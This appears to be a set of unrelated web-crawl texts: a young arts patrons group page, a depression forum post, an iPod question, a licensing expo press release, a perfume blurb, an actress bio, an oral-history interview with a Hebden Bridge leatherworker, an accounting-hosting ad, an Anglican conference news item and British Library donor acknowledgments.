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artsScene Vancouver
About Us
artsScene is a group of leading young professionals dedicated to fostering the growth of the arts in Canada through volunteerism, patronage and support. Our goal is to develop the next generation of business leaders who support the arts.
artsScene aims to act as a creative hub, connecting emerging leaders to the arts by:
- Inspiring interest in the arts through unique and innovative events and programs;
- Offering ways to engage in the arts through volunteerism, forums, and mentorship;
- Providing recognition for outstanding involvement in the arts through the Arnold Edinborough Award.
artsScene is not only a local but a national network of like-minded young professionals who support the arts. Since its inception in Toronto in 2006, artsScene chapters have also been established in Halifax, Montreal, Ottawa – Gatineau, Winnipeg, Calgary, Edmonton, and Vancouver.
artsScene was created by Business for the Arts (BftA), a national non-profit organization dedicated to the support and promotion of business involvement in the arts.


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I hope your appointment goes well today polly, I will be thinking of you. Your right in that thearpists or counselors can not prescribe medications. Only a psychiatrist or physician can. Perhaps if they have a psychiatrist on staff where you are going for counseling they can set you up an appointment with them so you can get medication if that is the route you want to take. I see both a psychaitrist and counselor.
As for the Ritalin, it may be that it is still new for me yet...I dont know. I only take Effexor XR for an antidepressant and I get an energy boost just from taking that as it is. So with the Ritalin on top I am speeding around everywhere for a very hours. I dont mind so much since I can get a few things done I wasnt doing before...
As the years of depression have gone on for me I have thinned out my group of friends one by one. I always did have a large bunch of girls that I talked to then up to about 4 years ago I was down to only speaking to 1. Now I dont even speak to her anymore and havent in over a year. I do miss the friendship but it is hard to have close friends who dont have depression or anxiety. They dont really understand and they try to give advice for something they know nothing about. I didnt feel I could call her up when I was having a hard time or needed a friend, it was just easier to deal on my own, lord knows I was used to doing it anyway...so that is me...
I just got back from the appt. with the counselor. I really like her. I think she is going to be able to help me. She isn't too much older than I am, and I think if I would have met her under different circumstances we would probably be friends!
She told me to call my primary dr., because she wants me to take an anti-depressant. That kind of scares me. I made 3 appt.'s spanning over the next 4 weeks.
It was nice to talk to a stranger because she seemed like she understood and empathized with me.

subset: commoncrawl


text: Hi, I've got iTunes 9 and an 4GB iPod Nano 3G and I've been trying to get artwork onto the iPod manually. I drag the songs into the device but the artwork doesn't copy for some reason! What's even stranger is that some of the songs that I put on randomly DO sync the artwork and others don't! Is there a way I could sync the songs with the artwork, without having to do it manually?


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- JAPAN CONNECTION (Honmoku File)
- Manu
- Sony Pictures Consumer Products
SHANGHAI, June 22, 2017 /PRNewswire/ -- UBM, organizers of Licensing Expo China (LEC), is pleased to announce exhibitors, advanced educational seminars, and networking opportunities at its inaugural event sponsored by the International Licensing Industry Merchandisers' Association (LIMA). The 2017 expo floor will debut more than 230 brands and licensing properties, with participation from animation, apparel, art and culture, food, games, entertainment and lifestyle brands, among others. This year, the event is also hosting its first-ever China Licensing Awards to recognize the achievements of outstanding brands and licensing properties in the industry.
Licensing Expo China will take place July 18-20, 2017 at the National Exhibition and Convention Center in Shanghai, China. For more information and to register, please visit: http://www.licensingexpochina.com/en-us/.
"Licensing Expo China is the only trade show that LIMA sponsors in mainland China. The show is organized by UBM China. UBM is one of the world's largest trade show organizers, with a portfolio that includes Licensing Expo (Las Vegas), Brand Licensing Europe (London) and Licensing Expo Japan (Tokyo). Their knowledge of the licensing industry and expertise in delivering top-notch licensing trade shows is unmatched by any other show organizer," said Charles M. Riotto, president, International Licensing Industry Merchandisers' Association.
Scores of brands and agents will be exhibiting at Licensing Expo China including Alpha Animation Brand Management (Guangzhou) Co., Limited, Beijing Dream Castle Culture Co., Limited, Brandgenuity, China Brands Group, which represents Angry Birds, Paul Frank, Simpsons and more, Enzo e Partner Limited, which represents Lamborghini, Hasbro Trading (China) Co., Limited, Mattel, Alfilo which represents British Museum and BBC Earth, and Soap Studio Company Limited. A full list of exhibitors can be found here: http://www.licensingexpochina.com/en-us/ExhibitorList.
"China's licensing industry is young but growing faster than all other territories, which is evident from our exhibitor-base. Chinese consumers are becoming more exposed to different properties and consumer goods, and the launch of Licensing Expo China this year provides our customers with a platform to penetrate the growing market," said Athena Gong, general manager, UBM China (Hangzhou).
Licensing Expo China's three-day educational seminar program will cover a range of topics, including analysis of the global licensing industry and trends in the China licensing market. Kermid Rahman, vice president & general manager, Disney Consumer Products & Interactive, will kick-off the program with the opening keynote discussing the power of Disney's franchised licensing business. Other top industry leaders from Oriental DreamWorks, Rovio (Shanghai) Commerce & Trading Co., Ltd and Mattel Barbie (Shanghai) Trading Co., Ltd. will also present.
The inaugural China Licensing Awards, co-organized by LIMA and LEC, was established to encourage the original creativity, progress and excellence of China's licensors, licensees and retailers, and further develop China's licensing industry. Award winners will be announced July 18th for the following categories: Best China Property of the Year, Best Licensing Promotion of the Year, Best Corporate Brand/Fashion/Lifestyle Program of the Year, Best Location-Based or Experiential Initiative of the Year, Best Licensee of the Year and Best Retailer of the Year.
Event Name: Licensing Expo China 2017
Dates: July 18 – 20, 2017
Venue: National Exhibition and Convention Center
Address: No. 333, Songze Avenue, Qingpu District, Shanghai, China
Organizers: UBM China (Hangzhou)
Website: http://www.licensingexpochina.com/en
Co-located Events: CBME China 2017, Cool Kids Fashion Shanghai 2017
Official Media: License Global Magazine
Connect with Licensing (#LEC17)
Future Global Licensing Group Dates and Events
About UBM's Global Licensing Group
The Global Licensing Group at UBM is the global licensing industry's leading tradeshow organizer and media partner. Its mission is to provide opportunities around the world to bring brands and products together to explore and cement licensing partnerships. The following events and information products are produced for the licensing industry by the Global Licensing Group: Licensing Expo, Brand Licensing Europe, Licensing Expo Japan, Licensing Expo China, NYC Summit, License Global magazine, License Global Daily E-news and License TV.
About UBM
UBM plc is the largest pure-play B2B Events organizer in the world. In an increasingly digital world, the value of connecting on a meaningful, human level has never been more important. At UBM, our deep knowledge and passion for the industry sectors we serve allow us to create valuable experiences where people can succeed. At our events people build relationships, close deals and grow their businesses. Our 3,750+ people, based in more than 20 countries, serve more than 50 different sectors – from fashion to pharmaceutical ingredients. These global networks, skilled, passionate people and market-leading events provide exciting opportunities for business people to achieve their ambitions.


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The aquatic floral notes are followed by a base of vanilla crystals.
The sensual orris heart lends intensity which deepens the sense of feminity and elegance while sensuous sandalwood brings warmth and depth.
Fresh. Exhilarating. Floral.
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Growing up a wholesome-looking mid-American beauty, Mary Beth McDonough was perfect to play one of the sympathetic siblings of America's favorite family of the '30s in Homecoming: A Christmas Story (1971). The show was so full of homegrown warm and fuzzy appeal that it spawned the long-running TV series The Waltons. Mary Beth's portrayal of "Erin", the angst-filled yet angelic middle child, was an integral part of the show's success and resulted in the spinoff TV specials A Wedding on...Join Mr. Skin for the full bio >>
One of Those Nights (1998) - as Andrea Harris
Mortuary (1983) - as Christie Parson
The New Adventures of Old Christine (2008) - as Mrs. Wilhoite
TV Road Trip - as Herself
The Waltons - as Erin Walton


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Rowan Sharp
Interviewed on 19.04.2011
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Right this is Tony Wright, it's the nineteenth of April 2011 and I'm talking to Rowan at her house on Garnet Street. Can you tell me your full name and where and when you were born?
Yeah, it's Rowan Sharp, I was born in Babington on the Wirral in Clatterbridge Hospital…..what was the other thing?
When were you born?
Oh the fifth of the ninth 1977
Right. What was it like growing up in the Wirral then?
Well I had two families really because my mum and dad got divorced when I was five, so my dad's side sort of stayed up and my mum moved away and so from being with my dad in quite a rough area, I wouldn't say too rough……nice upbringing and had whatever I wanted, quite spoilt really….and then when I used to go to my mum's I had even more, so she used to spoil me which I am coming across as a spoilt brat but I'm not [laughing]…..and she lived just outside of Birkenhead…..east of
So not too far away
No not too far, no.
What was your family background because….were they creative people?
My nan, she was an artist….never made it but she used to….exhibit in quite a few galleries round where Wales and she is well known in a place called Barmouth. Her paintings were very popular around that area, so she was the artist. My tide was probably in and out of jobs. Don't really know what he'd done. I think he worked in a bar but who knows…and my dad's side, my nan worked in a Wellington factory in Manchester and my granddad was in the navy and that was my dad's side.
How long did you live in the Wirral then?
Lived there for….till I was twenty-one then moved to Manchester, but I went to school in Chester so…..I had sort of long journeys every morning to Chester and back to go to school but I moved to Manchester, I think it was around twenty-one.
Right. And what did you do there?
Well I….went there really to be gay and to be able to live my own life because when I was there I knew I was gay and I liked girls but I never…I couldn't show you know that in my home town I didn't want to sort of come out and I met a girl in Manchester and I sort of…not ran off but I moved there because I thought it would have been a lot easier with friends and family, and also to make sure that I was not wanting you know, that sort of stigma….is that what it's called?
So did you find what you wanted in Manchester then?
Yeah. I…..I….from my education in Chester….I was always struggling because my reading and writing was horrendous so I didn't really listen to a lot of what the teachers said and that's probably why it was horrendous, so I didn't come out with the best qualifications and when I moved to Manchester, from leaving school I always wanted to get into the Navy and failed the test twice because of my dyslexia which I didn't know that I had at the time and so I left…..school, tried for the Navy, failed miserably but went to work abroad in Greece….from there I moved back after six months and then tried again for the Navy, failed and then it was just like well, you know, at that time you could only have two attempts to go for the Navy….the Wrens….don't know what it's like now but I just thought 'what am I gonna do' so I wanted to carry on with it, so I'd done a uniform service course which was to do with like public services – police, fire service, any of the armed services and then after that, that's when I thought 'right, sod it, I'm going to Manchester so I'm gonna do what I wanna do and just go where I wanna go and have no-one to answer to' so went there and lived with my girlfriend and then I started cutting up clothes and making things and that's when she sort of pushed me into applying to university, so I applied to
Salford University and got an interview and then got straight on to the course…..and
What did you do there?
Fashion design BA….so went there and….from that went to work…straight away. Come out of uni and went to work for Toni and Guy which is a hairdresser's to do training to become a hairdresser which was bit bizarre, but I'd only done six months at that because I'd got very bored of talking the same old things to the customers. The normal chit-chat's not my thing….so….stayed there for six months and done quite a lot for the creative side of it because I used to do quite a lot of the fashion shows and stuff……and that was it.
Right. How did you come to be in Hebden then?
I started coming to Hebden a fair few years back now…..I don't know the actual you know, the first time that I….my first experience, what date it was but I remember it being like you know, I lived it as soon as I come here, it was just like 'I wanna live there one day – I wanna settle down there' and it was like 'oh I've got to get there'
What was it about Hebden that you liked then?
I think it was probably because it was so gay friendly at the time you know, I don't want to sound every things gay, but it was you know, quite a lot of lesbians live in Hebden and they've got children and they've brought their children
So it was a mixture of having that community, gay community around you but also the tolerance that other people gave – was it a mixture of those two things?
Yeah, definitely. I think it…..just feels free and as you say a community, so it's nice that you know, we've got neighbours and….you make friends easier than when you live in Manchester or a city, it's always…..it's hard…not many people speak to the next door neighbours whereas here, it's lovely to be able to come and you know, make friends and have that sort of a you know, a nice sort of…cos I've always been a free spirit. I've been all over the world, I've travelled miles; I've lived in different places; I've lived in a camper van for seven years so
In Britain?
Yeah, yeah. I went over to France and then I ended up settling down in Chichester.
Right. Did you like that lifestyle?
I love it, yeah. As soon as I move into a house I give it a year and then I'm like 'ah, I need to get out'
So is that why you…..you have a canal barge?
Yeah, yeah.
So you're going to move into one of those are you?
Yeah, I upgraded so I went from the camper van….met my girlfriend….and she was doing filming in Manchester at the time I was living down south in the camper van and she was filming for 'Cracker' with Robbie Coltrane. She was a police officer in that. She was staying with my friend and I'd come to visit for the weekend and then met her and then she moved into the camper van and then we ended up going travelling in it and…..then we moved to Wales to be where my mum now lives…a very gypsy lifestyle [laughing]…moved to Wales and stayed there for a year trying to sell wholefoods to farmers that just wanted meat which didn't go down too well – I was trying to push the spices and pulses and they didn't even know what it was, but we got fed up after living there for a year; we moved to Manchester for a year and then to Hebden.
So how long have you actually been in Hebden then?
For about…I think it's about a year and six months now, maybe longer – I'm not too good with dates.
You're actually working with Geoff Garner, the leather man now. How did that happen?
Well when I was……at uni, I've always wanted to carry on with fashion design because of having the camper van and not being able to have all the machinery and having too much stuff, it's never been able to happen and even though I have always made things, hand-sewn things……I thought 'right, I'm gonna do what I want to do' because I'm thirty three now, thirty one and a half or however old, and I just thought 'sod it, I'm just gonna move to Hebden and do something that I want to do – work part-time and just'………..you know, I met Geoff from coming walking in Hebden, so I knew that I wanted to do leather because I'd made some things out of leather and….people, that I've made for people, and they've said to me that I should really concentrate on that kind of career instead of anything else, so I ended up finding Geoff and he was like for three years going 'are you coming in yet?' and every time I was just like 'yeah' and wanting to get here. I eventually got to Hebden a year and a half ago now and started part-time with a photography company up in Cragg Vale and so I started there and I was starting to go in to Geoff and then the boss at Cragg Vale said that he wanted me there full-time, so then again I got onto that bloody treadmill just like some full-time photography studios and I was there for….it was a year, and I ended up going on holiday and just thinking 'I've moved to Hebden to do something that I really wanted to do and I'm just going to take me on this path again, you know, all for money, whereas really I'd live in a tent and do something that I'm passionate about, so I decided to just give it all up and got back from Amsterdam, and decided that I wasn't gonna turn in for three days and I hid in my bedroom for three days and pretended I'd got stuck in Amsterdam which was a mini lie, but it was the only way that I could actually tell him in a nice way that I didn't want to get back, because for those three days I was supposed to go into work and then I was going to Mykonos in Greece, so I ended up just not turning in for the three days and then went to Mykonos and came back and then went off sick, and then I thought 'it's about time that I sort of went in and said' you know 'I don't wanna work here any more' and so I went in and anyway….yeah, that was the end
So what do you actually do with Geoff then?
Started with him going in two days and just absolutely loved it and especially him, working with him, it's just….he's an amazing guy……when I started I was just doing basic simple patterns for bags and now hopefully he'll say as well that I've improved; I sort of put my hand to anything and help him out with his repairs, he shows me how to do patterns, leather carving I've got into, so everything really with him, so I've actually been in Hebden for about two years because I'd been with him for nearly a year in October – August - a year in August, but just whatever you know is there, I'll help out. It is only voluntary because you know
Is it like an apprenticeship in a way?
Definitely yeah, he took me under his wing as well you know, call him my surrogate father [laughing] but no, he's just started from the basics and given me his time, and that's why I help him out as well you know, because he's very, very busy even though when I first started I thought…..cos it's so….I call it a cave in there and as you know, it's freezing cold, but I didn't think that he'd get so many customers but he knows everyone in Hebden and they all go to him, and he is absolutely what I'd say amazing as a designer and maker, and the things the he's done and what I've seen is just brilliant, he could just wipe the floor with any of the big designers anyway, I'm sure.
What kind of work do you like best out of all that then?
Well……..probably the leather carving I like the look of, but I do also like…you know, making the bags and I've even loved doing the repairs, so everything really, I just love everything, it's just all really good but as well, because he's got the patience of a saint, so he….you know, looks after me and just shows me everything and I'm not the quickest of learners, so he's just special really
I believe you're going to college to study something. What is it you're going to study?
Yeah, it's Leather Design and the full title is BA Honours Leather Accessories and Products, and it's in London, part of the London College of Fashion, it's called Wanas, so I start that in September and
Is that three or four years, is it?
It's for three years. It's pretty prestigious, I was quite lucky to get on to it, well so I've been told. Having Jimmy Choo as a lecturer you know, he's doing well isn't he?
I don't know about the leather world to be quite honest. You can tell me about it.
I don't know much about sort of his background but I know that he went to Cordwainers I think in the eighties, and he now makes shoes for all the rich and famous people. If you own a pair of Jimmy Choo's I think they cost around anything from two hundred up to thousands of pounds. He is really…I know that quite a lot of the people that have gone to this university have made it….Patrick Cox, Jimmy Choo, Emma Hope, and so it is, when you've been there, I think it is pretty prestigious, like you can come out and be proud if you get the degree really.
So would it be shoes that you were thinking about trying to learn how to do, or other kinds of you know, clothing or what would you like
Well that would be giving my ideas away wouldn't it? [laughing] You'll have to wait and see, so in three years' time I'll maybe invite you to my catwalk, but no, I want to definitely get into the carving, but I want to do leather carving with a twist…..and with amazing details which no-one's actually done, I've not seen it. I've seen other carving done but not in a way that I've got in my head, so it is gonna be
So you have a kind of vision of where you're going then?
Oh definitely yeah, I'm going places.
So…..it's gonna be a journey, but I'm gonna make it.
Good. Well, when you finish, are you going to come back to Hebden do you think or you just don't know?
Definitely, definitely want to live here and settle down here and I thought when I moved here two years ago that I would have…..this wouldn't have happened, and I thought that I would have ended up just working with Geoff and working part-time, and just staying put, but because I've been working with Geoff and really getting my teeth into it, I do want to see the other side of it as well, so more of the business and the marketing side. Geoff went to the same university in the seventies so his lecturer when I went for the interview is still there, so that's gonna be….when I meet him anyway, I've got a lot of stories to tell him, but it's……that's why I think I've sort of gone on that path because I know that a lot of people have gone there and have come out with an absolutely amazing qualification, and from what Geoff's done and what, you know, he's been saying that this lecturer in particular talked to Geoff, really talked to him, and he said that his amazing leather, he goes all round the world you know, with his leather, teaching….he goes to different conferences and stuff, so that's why I thought 'right, I'm gonna give it a try' and out of five thousand applicants, twenty five places, so…..
You've obviously got something about you
Thank you!
Do you know about the….like the history of leather then?
Is that something that you'd like to get into?
Definitely, yeah, and that's what's taught on this course. Geoff knows a lot about it but because I want to sort of sink my teeth in as soon as I go in, you know, he knows everything about…..there is to know I think, but on this course, it teaches me the history…..the making, tanneries, overseas, in different leathers…..there's an awful lot of writing in the actual brief but I'm not bothered to read it, so I'm just going to go and….just give it the best
So you have this sort of vision of doing carving and that sort of thing that you've mentioned earlier, but you also talk about like the marketing and that side of it. When you finish the degree, would you be looking to just be a maker and maybe work for somebody else, or would you like to start up your own business?
No I'm gonna definitely start up my own business…..my label…..I've got in my mind what I want to do and where I'm going and….I've pissed about for so long now doing different stuff, I think now is the time to put all my knowledge and history and everything I've done, I don't know what the word is, but…….just life skills really, into practice and to do it, to stick to it, and to…..get something out of it. If I do make it then I'm not just gonna you know….hopefully if I do make it I'm not just gonna take take take, I want to be able to do you know, fundraising and charity work and be able to let the business run itself, and me spend time doing charity stuff and even if that is with leather, you know, going giving people shoes and things like that
Well I was thinking about that side of it because you've travelled quite a bit you said, and if you started your own business, would it be like an international business because I know Geoff, basically he's got his workshop in a small town in the north of England but he's very busy and he ticks over. How would you view that? Would that kind of set up, you know, suit you or do you have a broader kind of horizon that you'd kind of want to
I'd like that, but maybe when I'm you know…..cos I think what Geoff's got is absolutely lovely. He's got a real strong group of friends, family, everything is based in Hebden and I would like that for myself, but I am a free spirit and I do get itchy feet, so it's a case of….if I did do that, then I don't know where the business would go. I think I'm just gonna at the time, when I finish uni, move back to Hebden then try and do things over the net and if I have to go places then I will, but because I don't know how I'm gonna do the marketing side of it……I've had things that I could….you know, my leather corsets, I could have sold them a thousand times to shops in Manchester, but I was just…..free spirit and never really pulled my finger out, so…..I'm really gonna concentrate on it and I reckon I probably would end up just going where the work is really, and try and get instead of however many zeros minus in my bank [laughing]
So in a sense you see yourself in a way, almost like an all-rounder rather than a specialist. Even though leather is a specialist subject in the whole of fashion, you want to be able to use leather in as many ways as possible, would that be right?
Yeah, definitely. The collection that I've got in mind, which hopefully for my third year show I'll be able to do all the carvings into my design, and no matter if that's something to wear, bags, purses, computer bags, shoes…..cos I might even get there because I've never made a pair of shoes, I might really enjoy it, so….and I know that, you know, a lot of sort of designers start off and they'll get the designs and they'll ship it off to you know, all over the world to get manufactured, so I really don't know what's gonna happen because I do actually like the hands-on, so I think I would have to be somewhere where I could have hands-on, make prototypes and get it made, just gonna see….
Right. I was gonna ask about the design side. I mean what kind of influences do you have in your design work?
I like……my chosen designer is a guy called Robert Stark and its 'Chrome Hearts'. When I went to Vegas, I won a trip to Vegas, which was very random. I do quite a bit of promotion work as well, and it was for the Glam Booth 2000 and it was 2001 or something….and it was…oh God….I'll have to ask Danny that actually. [calling out] 'Dan…..Danni…..what year did we go to Vegas?'…..anyway, we won this trip to Vegas and
2008, that's how shit I am at dates…..away with the fairies……2008 I was doing this competition and it was for a casino in Manchester and I had to get people in to have this experience within five minutes and you got this glam makeover, so they done your hair, make-up, and it was from the…..sounds awful…..from the ugliest picture, to the most attractive, the transition, so anyway I was doing it for two days which was in Manchester and the trip was to Vegas, you won a trip, all paid for, Caesar's Palace, the lot, and I phoned Dan up on the sly, and I was like 'Dan, come really ugly, don't put any make-up on, come really really rough and…..make sure not to put a really nice top on, your hoodie, just come and just look scruffy' and I told her what it was about, and she come, and she had the makeover and the guy took the photo and she left, and I had to pretend I didn't know her…..and the guy rang up and was 'oh my God, did you see her?' and with Dan being a model anyway you know, it was like 'well….no, no'…..'oh my God she's gorgeous, look at that' and I was like 'God, yes, she's really gorgeous' 'want that holiday?'….so we went to Vegas and that's when I'd seen this really good leather designer and his 'Chrome Hearts' .
And what kind of stuff did he do?
He's Karl Largeld's side-kick I think, sort of….side-kick, and…..biker, but wearable bike stuff, so it's like got a twist, it's you know, not all the padded stuff, but it's sort of
More casual is it?
Yeah, yeah, more casual and wearable and walking around with leathers on, and he does a lot of silver – he incorporates silver into his leather
Oh right, real silver then?
Yeah, yeah, there's thousands of pounds of leather things to buy there, so I really like his stuff and….my own really, [laughing] Geoff's as well…..gotta say that!
So when are you moving away?
Well that's the thing. Whenever my boat is ready to sail, cos I'm gonna be living on that, so we rent this place, it's lovely, but we haven't told the landlady yet we're moving so….I think she quite likes us living here, but it will probably be July, August, ready to start uni in September, but I don't know how long it's gonna take us to sail to London. It took us three months to sail one boat from London to Manchester, that was out first boat, then we sold that and made quite a lot of money on it, then bought another one, sold that and made a lot of money on it, and then we've just bought this one now, so we're sailing that to London and we're gonna live on it. Yes, being a gypsy I think!
I wanted to ask you a sort of a general kind of question really, about sort of the Upper Valley, Hebden Bridge and Todmorden and this area. What's your perception of like the creative side of things here? What things have you experience on the creative side?
Well because I've been living in sort of a bubble with doing photography and going to Geoff's, I'm not seeing a lot of other stuff but I know that I've been to a lot of the galleries when they have the open gallery days and a really good artist called Paula Rego, amazing stuff, she had a lot her prints up in Linden Mill I think…….and I felt that to have her work you know, in sort of a little run down mill, I say run down but I would have thought it would have been you know, London somewhere or got lost in Manchester, Liverpool, but I think it's good, I think they have a lot going on, like that much that you can be busy every single day.
Would anybody like Paula Rego, the kind of work that she does, would that influence you in the kind of ideas you come up with for clothing?
Definitely, yeah. Her designs…..her artwork is….crazy, well, it's quite sinister…..a lot of the stuff in it, her illustrations, I'd love her to be my illustrator, that's all I can say
Yeah, because she uses like folklore and myth and that sort of thing as well. Do you know anything about the local stuff around here?
No I don't. I've been sort of like ignorant, not on purpose, but just because I have been in this bubble of just…..when I was working in Prodoto it was just du, du, du,….and now I'm with Geoff and two dogs, so I've not, which I would like to if I was here full-time I'd probably get more involved
But could you see your work going in that direction in the sense that a lot of the stuff you've been talking about, it's incredibly visual impact stuff, but I was going to say the more literal side of things. Do you think some of your designs might be….you could develop them as a kind of design folio of stuff that was based on stories or literary things rather than just visuals.
Yeah possibly, I think it's cos I'm not very, you know, I read but I'm not into….when I was at school it was like…..I never really got into reading and writing so I've struggled really
But it could be sort of music or listening to things on the radio, I mean could that influence you at all?
Oh yeah, music definitely does depending on what CD I'm listening to when I'm making something. It can turn out…..totally something else from listening to pieces of music……and yeah, quite possible. I've not really sort of…..
What kind of music do you like then?
Kate Bush.
[laughing] What, Kate Bush and only Kate Bush?
No, I listen to a lot of…..different music really. I couldn't say that I like one type of music; anything other than pop shit what I call….I'm not really into the latest….but I've got quite a good, you know, so me good artists…I like the old stuff….Al Stewart and Kate Bush……and a band called Tombeck …..my iPod's rammed but…..
There is a sort of theory that, you know, music and the visual arts are sort of connected to through theory and some music seems very sort of spidery and linear, and others, it's like big broad brushes of colour and the colours are very subtle, like very tonal kind of themes, and I just wondered like, when you say you were doing a leather carving, the colours that you might, apart from the design, but any colours that you inlaid or anything, could that be inspired by anything other than just a very visual sort of sign?
Yeah definitely. Because I am only learning carving at the moment, I want to get you know, some practice and it's just time to do it….but I am hoping to be able to do….like what Geoff can do, he can carve anything into it and use different colours and dyes you know, it's just a case of experimenting, but it is quite an expensive thing to experiment with; if you go wrong it's not like a canvass that you can just wipe over, so I am….when I sort of start the carving, I always feel because I'm not the best yet, well not at all, but it's gonna take time for me to master it, and to use pieces of leather which is money, you know…..hopefully I can have more time to spend on it and I'll become much better at it in a few years, and then I'll probably end up experimenting with all different things, but because I'm thirty four at the moment, it's
Are you going to have to take out all these loans to go?
Yeah. Another thousands and thousands and thousands of pounds, but yes, I'm already in debt with the first lot
It's not gonna be easy is it?
No it's not, but you only live once and hopefully I'll pay them back one day when I've made my millions.
I'd just like to ask, is there anything you'd like to say about leather work or about Hebden Bridge, something I've not asked or you know, some perception that you have about the area – is there anything you'd like to say about it that I haven't asked about?
I think the area is absolutely amazing and very, very creative. It's very safe, I feel really safe here and that's another thing that I really like, because going to London, it's…you know, so bloody big, but…..not got to go there, but it's something that….I've never lived in London, but just giving it a try, but I think Hebden is…it's just….special really, it's a find, definitely…a gold mine!
Do you relate to the landscape around here at all?
Oh yeah, I love….I do quite a bit of running with my dogs….I love getting out into the Crags and going up, like yesterday I was going up the Pike, this morning I jogged to Mytholmroyd, tomorrow it will probably be the Crags, and even going further afield…Holmefirth, it's absolutely breath-taking. I love Wales as well, I'm really old-fashioned about Wales because I was sort of brought up there, my mum and my nan, being Welsh, but being in Wales it was really secluded and isolated and there's not a lot of work, and…Hebden is so close to Manchester, so close to Leeds, it's just an absolutely perfect area, and brilliant for dogs. Danny doesn't want to move and if it was up to her, we'd end up you know, staying here, and she applied to Huddersfield, Wimbledon and London College of Fashion, and she got into all three so she's had a big thing to….because she found out that she got into Wimbledon and she's going to do costume design in Wimbledon, and for her to have got into all three, that's you know, something else
Will the two of you collaborate do you think?
Definitely. That's gonna be….yeah, we're gonna do some twists I think, so you know, she's probably one of the best embroiderers I've ever seen; she can do everything. She's learning to do gold work
That's fascinating
Yeah, she's really really good, and really good at knitting as well, so she's done it from a child even though she was sort of on tour all her life with Riverdance, she just used to knit and embroider on the coach and wherever….she's done quite a lot in the Far East, so she just used to take it with her and do bits and pieces, and now she's…..brilliant.
Do you think some of the collaborative work then could, if the two of you worked together, could it be for you know, stage sets, theatre, or other kinds of…..you know, performance-based things?
Or would it just be kind of the fashion world that you would be aiming at? Or maybe a bit of both?
Yeah. I wouldn't say 'no' – I know that would work because she's starting the same time as me and we are definitely going to work together on it, so we hope to get a studio in London and – this is all very new because she has only just…..Wimbledon phoned, well, it was UCAS that got in touch at six o'clock this morning, so it's all very new but we have spoke about it and I think she's gonna end up you know, either living on my boat or we'll buy two boats and we'll get a studio…..or…..she wants me to sell the boat and live in a house [laughing] but I don't wanna do that. I've been in there for how long now and it's like 'get me out' but…yeah, definitely, we could…..definitely work together
Yeah, that sounds fascinating
It's gonna be, especially in three years' time, we'll both gonna be in our third year for our final pieces, we're both gonna really hammer it and we're a lot older and….wiser
Let's just stop for a second
I'm just wondering if there's anything else to discuss….I think we'll call it quits there if that's alright
Yeah no problem


text:
Welcome to SageNext Infotech
Regarded as a top rated QuickBooks hosting provider, SageNext Infotech is a well-established company with a strong reputation and a wealth of experience in hosting major tax and accounting applications.
We have been delivering the expected level of tax and accounting software hosting services to small and mid-sized businesses, particularly in the United States and Canada. Given the fact that our application hosting solution is driven by the modern concept of Cloud Computing, we have initiated a new, innovative trend in form of 'Smart Cloud Accounting', which is entirely focused on alleviating efforts, saving valuable time along with providing more convenience and flexibility to busy CPAs, accountants, bookkeepers and business owners.


text:
The controversial conservative Anglican group GAFCON (Global Anglican Future Conference) are set to meet in London this April.
GAFCON in Jerusalem 2008
More than 200 delegates from 30 Provinces of the Anglican Communion will gather together – with the aim of helping to turn "the present crisis moment into a visionary future".
The Most Rev'd Eliud Wabukala, Archbishop of the Anglican Church of Kenya and Chairman of the GAFCON Primates Council, said: "We are committed to building networks and partnerships of orthodox Anglicans, strong in their witness to Jesus Christ and the transforming power of His Spirit, to face the challenge of mission around the world."
The five-day conference is the first leadership gathering since their landmark meeting in Jerusalem in 2008, during which they approved the Jerusalem Statement.
GAFCON is seen by some British Anglicans as controversial because of its traditional stance on homosexuality. GAFCON, in turn, believes that it "provides a way to share Biblical Anglicanism that is concert with what Anglicans have always believed, taught, and practiced" and that it exists to help those remain Anglican who have "been unable, for conscience, to remain in their Province".
The theme of the conference is the uniqueness and sufficiency of Christ, which will be explored through worship, testimony, Bible study and plenary sessions on how to apply Christ's lordship over the world, the church and the individual.
There are also interactive seminars planned on spiritual leadership, family, evangelism, development and aid, the nature of the gospel and the theology of the Church.
Spiritual leadership under pressure and the experience of living in the Communion in crisis will also be tackled. Towards the end of the conference there will be a time of prayer for those living in Britain to keep preaching the gospel.
Speakers include Bishop Michael Nazir Ali, the Rev. Dr. Ashley Null and Bishop John Akao.
Last week the majority of the dioceses in the Church of England voted against the Anglican Communion Covenant. In response Bishop Michael Nazir Ali said: "I am disappointed that the Anglican Communion Covenant, even in its watered down version, has failed to gain the support of the Church of England. This now means that the Jerusalem Statement is now 'The only game in town'."
March 28th, 2012 - Posted & Written by Claire Musters


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Sacred: Discover what we share
Funding from each of the faith groups represented – Judaism, Islam and Christianity – helped make Sacred the library's most successful exhibition to date. The generosity of donors also made possible an array of related public events, regional touring and learning programmes.
We are very grateful to everyone who supported Sacred, including the Coexist Foundation, the Moroccan British Society, the Saint Catherine Foundation, the Clore Duffield Foundation and Sami Shamoon. Through the vision and support of the Coexist Foundation, we plan to tour the exhibition in future years.
The Wardington Hours
We were able to acquire the Wardington Hours thanks to the generous support of The Art Fund, the Friends of the British Library and the Friends of the National Libraries.
The Wardington Hours is part of a Book of Hours – a collection of Christian devotions based on the Psalms for recitation at different times of the day. Produced in Paris in the 15 century, it is exquisitely painted, incorporating intricate detail and a wealth of colourful imagery. It joins a wealth of important manuscripts produced by the Bedford group of artists in our collections, allowing scholars to research its complex style and dating in the context of other related manuscripts.
The Harold Pinter Archive
The support of the National Heritage Memorial Fund (NHMF) and generous donations from Dr Alice Griffin, the American Trust for the British Library, the Michael Marks Charitable Trust and other private trusts and donors enabled us, in December 2007, to purchase the playscripts archive of the Nobel Prizewinning playwright and writer Harold Pinter. The playscripts will now remain in the Library alongside the rest of the Pinter archive, bought by the Library earlier in the year.
The archive is one of the most significant post-War literary collections and represents an invaluable resource for scholars of Pinter's work for the stage, cinema and poetry.
The Folio Society Gallery
We remain grateful to the Folio Society for their continuing support of the Folio Society Gallery, which enables us to create lively and accessible themed displays for visitors.
A highlight of this year's programme was Bloomsbury Below Stairs: Grace Higgens at Charleston 1920–1970, which drew on the recently acquired Grace Higgens papers to provide an insight into the domestic lives of the Bloomsbury Group, as witnessed by their long-serving housekeeper. We were also able to catalogue Grace Higgens' papers, thanks to the generosity of Alastair Kirkatrick, who supported the project in memory of his aunt, Brownlee Kirkpatrick.
The British Library Centre for Conservation
This year saw the successful completion of the first year-long book conservation internship, supported by the Heritage Lottery Fund, at the British Library Centre for Conservation.
